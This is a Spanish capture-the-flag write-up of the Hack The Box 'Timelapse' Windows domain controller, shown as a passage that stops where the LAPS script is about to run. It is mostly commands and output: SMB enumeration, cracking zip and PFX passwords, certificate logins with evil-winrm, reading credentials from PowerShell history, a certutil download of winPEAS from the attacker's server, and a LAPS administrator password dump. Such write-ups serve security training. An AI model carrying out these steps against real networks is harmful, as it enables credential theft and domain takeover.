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Timelapse

Publicado Actualizado
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Por Justice-Reaper
14 min de lectura
Timelapse

Skills

  • SMB Enumeration
  • Cracking ZIp Password Protected File
  • Cracking and reading .PFX File
  • Gaining SSL access with Evil-WinRM
  • Information Leakage - Reading the user’s Powershell history (User Pivoting)
  • Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) [Privilege Escalation]

Certificaciones

  • OSCP
  • OSEP
  • eCPPTv3

Descripción

Timelapse es una máquina de easy windows, que implica acceder a un recurso compartido SMB públicamente accesible que contiene un archivo zip. Este archivo zip requiere una contraseña que se puede descifrar utilizando John. Al extraer el archivo zip, se obtiene un archivo PFX cifrado con contraseña, el cual también se puede descifrar con John. A partir del archivo PFX, se pueden extraer un certificado SSL y una clave privada, que se utilizan para iniciar sesión en el sistema a través de WinRM. Después de la autenticación, descubrimos un archivo de historial de PowerShell que contiene credenciales de inicio de sesión para el usuario svc_deploy. La enumeración de usuarios muestra que svc_deploy es parte de un grupo llamado LAPS_Readers. El grupo LAPS_Readers tiene la capacidad de gestionar contraseñas en LAPS y cualquier usuario en este grupo puede leer las contraseñas locales de las máquinas en el dominio. Al abusar de esta confianza, recuperamos la contraseña del Administrador y accedemos mediante WinRM

Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

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# ping 10.129.227.113
PING 10.129.227.113 (10.129.227.113) 56(84) bytes of data.
64 bytes from 10.129.227.113: icmp_seq=1 ttl=127 time=77.4 ms
64 bytes from 10.129.227.113: icmp_seq=2 ttl=127 time=69.1 ms
64 bytes from 10.129.227.113: icmp_seq=3 ttl=127 time=179 ms
^C
--- 10.129.227.113 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 69.114/108.377/178.636/49.794 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

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# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.227.113 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 02:45 CEST
Initiating SYN Stealth Scan at 02:45
Scanning 10.129.227.113 [65535 ports]
Discovered open port 139/tcp on 10.129.227.113
Discovered open port 53/tcp on 10.129.227.113
Discovered open port 445/tcp on 10.129.227.113
Discovered open port 135/tcp on 10.129.227.113
Discovered open port 464/tcp on 10.129.227.113
Discovered open port 49673/tcp on 10.129.227.113
Discovered open port 49693/tcp on 10.129.227.113
Discovered open port 3269/tcp on 10.129.227.113
Discovered open port 5986/tcp on 10.129.227.113
Discovered open port 49667/tcp on 10.129.227.113
Discovered open port 49674/tcp on 10.129.227.113
Discovered open port 88/tcp on 10.129.227.113
Discovered open port 593/tcp on 10.129.227.113
Discovered open port 3268/tcp on 10.129.227.113
Discovered open port 9389/tcp on 10.129.227.113
Discovered open port 636/tcp on 10.129.227.113
Discovered open port 389/tcp on 10.129.227.113
Completed SYN Stealth Scan at 02:46, 26.41s elapsed (65535 total ports)
Nmap scan report for 10.129.227.113
Host is up (0.068s latency).
Not shown: 65518 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49693/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
           Raw packets sent: 131068 (5.767MB) | Rcvd: 32 (1.408KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

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# nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49693 10.129.227.113 -Pn -oN services 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 02:47 CEST
Nmap scan report for 10.129.227.113
Host is up (0.15s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-08-15 08:47:28Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-08-15T08:49:00+00:00; +8h00m00s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49693/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-15T08:48:23
|_  start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.98 seconds

SMB Enumeration

Listamos recursos compartidos con crackmapexec

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# crackmapexec smb 10.129.227.113 -u 'guest' -p '' --shares   
SMB         10.129.227.113  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.129.227.113  445    DC01             [+] timelapse.htb\guest: 
SMB         10.129.227.113  445    DC01             [+] Enumerated shares
SMB         10.129.227.113  445    DC01             Share           Permissions     Remark
SMB         10.129.227.113  445    DC01             -----           -----------     ------
SMB         10.129.227.113  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.227.113  445    DC01             C$                              Default share
SMB         10.129.227.113  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.227.113  445    DC01             NETLOGON                        Logon server share 
SMB         10.129.227.113  445    DC01             Shares          READ            
SMB         10.129.227.113  445    DC01             SYSVOL                          Logon server share

Añadimos el dominio al /etc/hosts

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127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.227.113  timelapse.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Nos conectamos con smbclient y nos descargamos todo el contenido

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# smbclient --no-pass //10.129.227.113/Shares     
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Oct 25 17:39:15 2021
  ..                                  D        0  Mon Oct 25 17:39:15 2021
  Dev                                 D        0  Mon Oct 25 21:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 17:48:42 2021

		6367231 blocks of size 4096. 1338820 blocks available
smb: \> cd dev
smb: \dev\> dir
  .                                   D        0  Mon Oct 25 21:40:06 2021
  ..                                  D        0  Mon Oct 25 21:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 17:46:42 2021

		6367231 blocks of size 4096. 1338820 blocks available
smb: \dev\> get winrm_backup.zip
getting file \dev\winrm_backup.zip of size 2611 as winrm_backup.zip (5.1 KiloBytes/sec) (average 5.1 KiloBytes/sec)
smb: \dev\> cd ..
smb: \> cd HelpDesk\
dsmb: \HelpDesk\> dir
  .                                   D        0  Mon Oct 25 17:48:42 2021
  ..                                  D        0  Mon Oct 25 17:48:42 2021
  LAPS.x64.msi                        A  1118208  Mon Oct 25 16:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 16:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 16:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 16:57:44 2021

		6367231 blocks of size 4096. 1338820 blocks available
smb: \HelpDesk\> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \HelpDesk\*
smb: \HelpDesk\> get  LAPS.x64.msi
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as LAPS.x64.msi (469.1 KiloBytes/sec) (average 386.5 KiloBytes/sec)
smb: \HelpDesk\> get LAPS_Datasheet.docx
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as LAPS_Datasheet.docx (119.1 KiloBytes/sec) (average 324.4 KiloBytes/sec)
smb: \HelpDesk\> get LAPS_OperationsGuide.docx 
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as LAPS_OperationsGuide.docx (610.5 KiloBytes/sec) (average 386.7 KiloBytes/sec)
smb: \HelpDesk\> get LAPS_TechnicalSpecification.docx
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as LAPS_TechnicalSpecification.docx (130.0 KiloBytes/sec) (average 360.0 KiloBytes/sec)
smb: \HelpDesk\> exit

El zip tiene una contraseña así que usamos zip2john para crear un hash que se pueda crackear

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# zip2john winrm_backup.zip 
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
winrm_backup.zip/legacyy_dev_auth.pfx:$pkzip$1*1*2*0*965*9fb*12ec5683*0*4e*8*965*72aa*1a84b40ec6b5c20abd7d695aa16d8c88a3cec7243acf179b842f2d96414d306fd67f0bb6abd97366b7aaea736a0cda557a1d82727976b2243d1d9a4032d625b7e40325220b35bae73a3d11f4e82a408cb00986825f936ce33ac06419899194de4b54c9258cd7a4a7f03ab181b611a63bc9c26305fa1cbe6855e8f9e80c058a723c396d400b707c558460db8ed6247c7a727d24cd0c7e93fbcbe8a476f4c0e57db890a78a5f61d1ec1c9a7b28b98a81ba94a7b3a600498745859445ddaef51a982ae22577a385700fdf73c99993695b8ffce0ef90633e3d18bf17b357df58ea7f3d79f22a790606b69aed500db976ae87081c68d60aca373ad25ddc69bc27ddd3986f4d9ce77c4e49777c67a0740d2b4bbca38b4c2b3ee329ac7cf30e5af07f13d860a072784e753a999f3dd0d2c3bbb2269eeffe2f0b741441538e429cb9e8beee2999557332ac447393db6ed35856bd7fcae85329b99b21449f3bb63c9fb74870dbf76e7dc76859392bf913da2864555b6ed2a384a2ae8a6c462e5115adbf385f073cfc64ec7a4646386cf72b5529bbf48af050640f26c26e337add96b61aee56d3d92de09f25c40efe56d4c2b853ce29de32c05634afc4dc9ca8df991b73e10db5bb9cd3fc807bfe05bb789a4b4a525001d253ca6f67abc928ebe7777a0b2d06d7fd2d61123c7e6b8050fe51994f116bc9e694cbdd6e81bfe71672582e7329cb78e20793b970407ea0bb8787c93875be25432987b2fb385c08e1970e5f8868db466476ef41b157eaf4d9a69508d57166213d81f1f981cffd5a6d2053a65c380ad98f10eb2b94104cd41104c59e6f4d782868f38ae64c7b0c29fb0e05d18429c26dc3f5a9c4ec9328b0aff3a41679f9f12e9b4e2cc9dfca5a67c021a093549863923422ada4ccf082924ef1ec4ec38847bf2bffb893f14abecdad3c83a31e276a23542ff08cdc7d7ec6576dbda1edf1326174b13c7f078d6ea4dc90a743cdf6aa076a17250ac2fff6de8113ffc58dd4ccda187b6c7890264f0d0ff113aa3fa15b8515d0857f8110b99fa2915f0476a08b107965fa5e74c05018db0d9a8ecc893780027b58225e091b50aa07684f1990508275d87fd7a8f28193ca41d9ce649e3de4885913b15f318e7459c443849a248463bbfe949def6d9ca95e6ace6613eabf758c6399639f1f7779fc9aeee32d518a0db9a046340e002445b8ae9a5cb630a194a490d326247f3582680814dfed79496475e4a06f11d4433b13ed3c3803e3c1da5335cd7919453ce0a6b62116c0ffa0fc7c4bba77bbba080092541697c3200edc7e9aa001a01fc0063b27159384538ecb7cddab32a6feca01853ac712a0e21a436d647d1c94bd0a5b40510cb080d4ce79a2e49fc82fd961106b7b73d2e24603711300ddc711b8cc284cc284777d230ebcc140ab0296676f465da1afeb40fe2f4f9636238c09a9716a1f3071fd2653b9956c9180270b1582074175570d5784af0d22460e6d28153f146d01ff0f2388894b0541a9df950e1515a2397360e09c6dfd92feaf068f560be034bcf26cabc76be09a94254bbbf88f4ee85241c12be370ca32cc5391e33f05a2e7a75afe7876a893fdc9fded2ea1ac701001cf0d34eaba84dd4815a28dc4cfe6c3abc35a057f6b95dd4fdb07a99edc0a020273f5eb9b2d2e6686deda3c1c9c5deb85b9192d68a841cd9a7aa448ddd66e0a839d81f0106a8a1e38f6da99a3b973a0598aca2ba36cf9ef0b4a9da6ae327069a88677b7e5303a08cea1a37f2623d98233672e425693e16ade5b16d49669e2002aec50aedeccc21af37901d278bd3a5b7618b9f0332a4848a29e9e3eccef234cf2392d46c33be6c3c75e57f6c19998febadf2c6a3e22a6e4276e6863f8d16ecec1f4eca9495a031e5f7426bf90a9831b9901588e72330fc42fe3ed7a09d7404a14727b7b876786b35873cf24deb921662c458d05b8c8872d88e8889407024e46d06d8f3cf9a1d144deb91acf2273c13600bc2bbc9c1405269c3eff0042d0533c95f45c28ed2b8854fbbda941b1957d27122d8a6afe09261f206ccde7e7c4f69c8d46d4e101849c02c9eecc65e365ebf48e3ce836385dcfd824e085b0104b1210b5acfedb3df857cdc2ad9976660dfb20b228ce127c4cdc5bb9d89f65822ebd728b2d1dbce2872e9fa113c19ed251e7c103022b5029b63e35bcd0ef75bf13f1bb56499f1505b6eef27aa6fd079f4d4156c566a76d8b6bcdd518cdd6ea3de2048f9b059e338946fa2549ab27646ba9bfe08580df4582be056dcc68232efef533ea90c9c8d613e22fd4f2d75c6a89e4643ff3717a21dc0624a1c844549fc9700d137865b018eef82803ec1b3f19f9e3f25c276062effb0829c00825677d21530b14a8ee27c6507ff31549430f66488f4ef996cf784f37bbf103e49f17bef1ae41e02dce2a3715127942fcaec5da410f04174664b7eb0788e83920ad9afa223a5a4791bb28b3d5e75933edfd7535aaeb984f8dc1c5e3880411c733f775c93b620f14662c1594c909eceb7c8c25807b9e49771847a567d6fd63c607c6ebf71714a869cd4eb7956995cb7011c7973c705ee13aeabc319ff6f71569c9c46821cda0db6555dde9939f27f68d1b6dfcfb53b0ed1c9f35c7d29e550437ab80da87384614f9508dbb49f8be5a85c1bfebe13067aff3fd745009db52a4de15761f67ad2a3bf89440d134ed7c6c96c41340c6947785b75698e6b61a0d2da6ffe4290a15a932d42d5e2c4928a92121b0cb3c11a7bbb5fa5a70e31f7bd24e892466e767c4193f5902eb4fc22d1b9c9e7dc8f27886ca3a37dbd842a9fb445adaa738cddbc4e0b62c14b49dc807843db29df781a65491ae52dc16b5d5dc2193f965a595cd72c5b6f1e63e1b4b521e9d891b481fef699fb2ccb853df7b8a902910b229db859d293628baf30891c255fa46d337336fb0b4a47986939372f13f4315c38af852e9a8893fe275be0e5b095c1219edc026c71236ff3a314084383ad0228f26b7935f454c8d3d59306a2c7eb7f9220a67e8c1a2f508760f3ccdb52399e81bcb7e5347c1083ecbdb1c009338e017721b4324a40329a5938ab4ee99d087a2edb62d687fcebeda2211760b2287ff574ebc66e076132cab4cb15e1e551acf11f3ed87970aee89159421facc8eb82bca90a36c43f75df5bececfde3128e2834c5ecd067e61c9ba954cc54fc291a1458bdfe9f49fba35eb944625a528fb9d474aaa761314740997e4d2ed3b1cb8e86744cfb6c9d5e3d758684ff3d9fdc1ba45b39141625d4e6ba38cd3300507555935db1193b765d226c463481388a73d5361e57b7b40c7d3df38fc5da2c1a255ff8c9e344761a397d2c2d59d722723d27140c6830563ee783156404a17e2f7b7e506452f76*$/pkzip$:legacyy_dev_auth.pfx:winrm_backup.zip::winrm_backup.zip

Almacenamos el hash en un archivo y lo crackeamos con john

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# john -w:rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:02 DONE (2024-08-15 03:09) 0.3984g/s 1383Kp/s 1383Kc/s 1383KC/s suzyqzb..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Descomprimimos el winrar y obtenemos un archivo .pfx

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# unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx

El archivo .pfx está protegido por contraseña así que con pfx2john obtenemos un hash

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# pfx2john legacyy_dev_auth.pfx  
legacyy_dev_auth.pfx:$pfxng$1$20$2000$20$eb755568327396de179c4a5d668ba8fe550ae18a$3082099c3082060f06092a864886f70d010701a0820600048205fc308205f8308205f4060b2a864886f70d010c0a0102a08204fe308204fa301c060a2a864886f70d010c0103300e04084408e3852b96a898020207d0048204d8febcd5536b4b831d491da6d53ca889d95f094572da48eed1a4a14cd88bbfff72924328212c0ff047b42d0b7062b3c6191bc2c23713f986d1febf6d9e1829cd6663d2677b4af8c7a25f7360927c498163168a2543fd722188558e8016f59819657759c27000d365a302da21eda4b73121dcc4eede60533b0ef0873a99b92cc7f824d029385fa8b6859950912cd0a257fa55f150c2135f2850832b3229033f2552f809e70010fab8868bb7d5bef7c20408dac3f67e367f4c3e3b81a555cdfe9e89c7bc44d6996f401f9a26e43094b6fa418a76d5b57579eeb534627a27fd46350a624b139d9ff4b124c9afbbbe42870026098bbc7d38b6b543ab6eff3cf2972c87dd2c0e703ef2a0120062a97279661b67ca596a650efde28e098c82fce01f50611e28d4a6d5d75af8bf965c07faa68331b9f66733deb32ee3628b156ee0ef8e63b732e3606f3c6c9453b49d15592648cd918deaf72889f3e0bcf42bfdb9cddae7e77c5934579d658bfea78800013f36de7e7fadd2f0ff96e78dedaba0593947f96989fad67e17470b49307b5199248fbad36a0dee42e480b30785810a4c17cc27b0e0ed3a99ddec9720a968f3ccbffb36752febbbca437ecacd6c93c6ef2ff6277de01545a482daf34d1faf38819737b7e4ef61004c2876715123fd0b8a4f6c03eb387fd50eaaf4977870a6c011c91f1c9093dc2aa0e2c72c0a5e1473ef89429b02ab1efbf09b096efecb65d6e772d8eb2ca2e72aa288749d6fdbf9b207592f3a9ad16676d9f0aba1fb2f180f7b715b6c2238a42c13b00f8dc26c41ababbca74b84b42294ff473a0f16c85ac7f2072981968f8b868885655f50ea81f06e5e65d269853e537e18268add9046681f9a6d0233d171f900b34cf0c63d299eb67d7a8ebfcfbf88395de5c7fd5bd1085d20cc56b3ca847e6f21fba58215ff91bed70e5f629c9257baa848f29fab2efb9170f8c51e680dde4d6d2eebaa602b24444f43ccfb607efa46f378539664c6309f51d82f67347fc689e855966069099dead6f19adadcf9c6a0d2c42401846eba828bffad6f7336df1ea091844f2074e976a5d2eb83db0646fb43b3faad564ac577781f29de95b7b21b6caf7f9de6d2d56150de098faf9a684b2a79083b3555455272874e9c427e1b1349b94c0baf73eee08832274df7c4ac23b68f66cb86ba0561e1bb83b0e920b4568371c89c2a80ed63308a4d9ce2e12d74de3f83fe5d93ab3aadd65a8821814f9981e20cdb86615d04ef9d45c30d692ad058212b33a0c8966414b3840a77af33b2fe85791a16e4922a9458cb584903515470d57607ce412e0699c883ddd40ad4983f9e6164879a19fc554781823782c89b47c3bf36a6eb4d33194753e85cb13e112a3e9fce98b72565961d1bace71a8086657bce391bdb2a5e4b8025b06984fbb2da341034e9750b33ef2a1dccddde7b867084faf8264a4379c17dfad736a382fa7510e674ca7fefba611cc64313242d3166a04165d4f70607bd988181f06ff4dca04035c14111c7d93a1169efcece8c3616e971131ff54c42a35f3c43f374131b8634999052aa7a479274f6b9d64e414d2775fcf8f7e68897032902547c92885136f0f14e04e62519a02c03a4d0bf412e517f4b51e42ff27b40d7222d722424c56abb1b183158fef0f9d04bbc45d5341a4cb26d03a5864a6f51b9bd315918aa491393a5b6dc622dad6b25e131e43077ab421c4bcd6ed6dfbd52afd4dcb19a27797cbf983181e2300d06092b06010401823711023100301306092a864886f70d0109153106040401000000305d06092a864886f70d01091431501e4e00740065002d00340061003500330034003100350037002d0063003800660031002d0034003700320034002d0038006400620036002d006500640031003200660032003500630032006100390062305d06092b060104018237110131501e4e004d006900630072006f0073006f0066007400200053006f0066007400770061007200650020004b00650079002000530074006f0072006100670065002000500072006f007600690064006500723082038506092a864886f70d010701a0820376048203723082036e3082036a060b2a864886f70d010c0a0103a08203423082033e060a2a864886f70d01091601a082032e0482032a308203263082020ea00302010202101d9989298acf11bb4193a1cff44e12df300d06092a864886f70d01010b050030123110300e06035504030c074c656761637979301e170d3231313032353134303535325a170d3331313032353134313535325a30123110300e06035504030c074c65676163797930820122300d06092a864886f70d01010105000382010f003082010a0282010100a55607a36216471ee2f34d23ad6171ce8b9eb34a872bf689bce78603bbfeaa1c16b835ff3114fe8834d04d9585af0310af28cf1a42c1e9bf7b68a70a50f986d1643bb5371ca1bdf34d4d15e3745415f672222a4a303adea01b617ef4ee60545e0f0271cf9be6183f0b1ba1191857c40ea73222e8d319803089ae02125999941ea4e1c9b156ffb3ce99ed60b3ab623755c5a0fbb5ccd3986882f776d65a6b35dc2f0e88a532513c90161adb6ac85a26998ac9a82cc249a5aef631b4a7584a2bb9a4eb0bc1491f107c75b6a97f7e35b2ca7a00adfbf8c06babb657d96ef8adcc0b635a4b33a8222e472cc8e7aee8d1a02c77bfa6572f428f085cc3304a8b1491f10203010001a3783076300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030230300603551d1104293027a025060a2b060104018237140203a0170c156c6567616379794074696d656c617073652e687462301d0603551d0e04160414ccd90ee4af209eb0752bfd81961eac2db1255819300d06092a864886f70d01010b050003820101005f8efb76bfde3efe96fdda72c84b8ae76bb0882aba9a9bdeba1fc905eadee91d93e510364caf5eeee7492f4cdd43e0fb650ae77d49a3eca2449b28da05817d4a357e66ef6174dca08b226875cf896dc6c73a2603a09dc0aa7457d7dedd04cb747b286c7aade2edbd4e0567e9e1be55d3789fcf01773f7f06b6adf88fb1f579d564ce604cdc8299e074726d06a9ae370ded9c42a680caa9eb9298ce9293bef335263848e6dc4686a6dd59b9f6952e308c6cb7606459c3aa0cebaec6175dd5ab65f758764ae4d68ffb929ac1dfc9f8cb3aae26343c36e19f1d78def222a0760c8860a72ac1dd5a232b1b65162cea1e52b9549a9af4ebd918fe79fbfb34846b6a403115301306092a864886f70d0109153106040401000000$86b99e245b03465a6ce0c974055e6dcc74f0e893:::::legacyy_dev_auth.pfx

El hash lo guardamos en un archivo y lo crackeamos con john

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# john -w:rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:26 DONE (2024-08-15 14:09) 0.03829g/s 123774p/s 123774c/s 123774C/s thumper1990..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos la clave pública

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# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out publicCert.pem

Enter Import Password: thuglegacy

Obtenemos la clave privada

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# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes

Enter Import Password: thuglegacy

Intrusión

Nos conectamos a través de winrm a la máquina víctima usando los certificados

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# evil-winrm -i 10.129.227.113 -c publicCert.pem -k priv-key.pem -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

Privilege Escalation

Listamos usuarios

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*Evil-WinRM* PS C:\Users\legacyy\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            babywyrm                 Guest
krbtgt                   legacyy                  payl0ad
sinfulz                  svc_deploy               thecybergeek
TRX
The command completed with one or more errors.

Vemos que el usuario svc_deploy forma parte de LAPS_Readers lo cual nos permite leer contraseñas de usuarios Administradores

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*Evil-WinRM* PS C:\Users\legacyy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

Nos descargamos winpeas https://github.com/peass-ng/PEASS-ng/releases/tag/20240811-aea595a1 y nos montamos un servidor http con python en el directorio donde se encuentra el binario

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# python -m http.server 80

Nos descargamos el binario en la máquina víctima

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C:\Windows\Temp\Privesc> certutil.exe -urlcache -split -f http://10.10.16.23/winPEASany.exe
****  Online  ****
  000000  ...
  62826f
CertUtil: -URLCache command completed successfully.

Ejecutamos winpeas en busca de archivos interesantes y encontramos un historial

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*Evil-WinRM* PS C:\Windows\Temp\privesc> ./winPEASany.exe
ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version: 
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 
    PS history file: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 434B

Leemos el historial de la powershell

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*Evil-WinRM* PS C:\Windows\Temp\privesc> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Validamos las credenciales

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# netexec winrm 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'        
WINRM-SSL   10.129.227.113  5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.129.227.113  5986   DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)

Nos conectamos a la máquina víctima como el usuario svc_deploy

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# evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy

Podemos dumpear las credenciales usando netxec si ldap está habilitado externamente

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# netexec ldap 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' --kdcHost 10.129.227.113 -M laps

SMB         10.129.227.113  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.129.227.113  389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        10.129.227.113  389    DC01             [*] Getting LAPS Passwords
LAPS        10.129.227.113  389    DC01             Computer:DC01$ User:                Password:8Sz70$0Tjh87103v]+/%QZV-

Si no estuviese habilitado nos descargamos este binario https://github.com/kfosaaen/Get-LAPSPasswords/blob/master/Get-LAPSPasswords.ps1 y desde el mismo directorio donde se encuentra nos conectamos a la máquina con evil-winrm y subimos el binario a la máquina víctima

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*Evil-WinRM* PS C:\Users\svc_deploy\desktop> upload Get-LAPSPasswords.ps1
                                        
Info: Uploading /home/justice-reaper/Downloads/Get-LAPSPasswords.ps1 to C:\Users\svc_deploy\desktop\Get-LAPSPasswords.ps1
                                        
Data: 9892 bytes of 9892 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_deploy\desktop> dir


    Directory: C:\Users\svc_deploy\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/15/2024   2:41 PM           7419 Get-LAPSPasswords.ps1

Importamos el módulo y lo ejecutamos

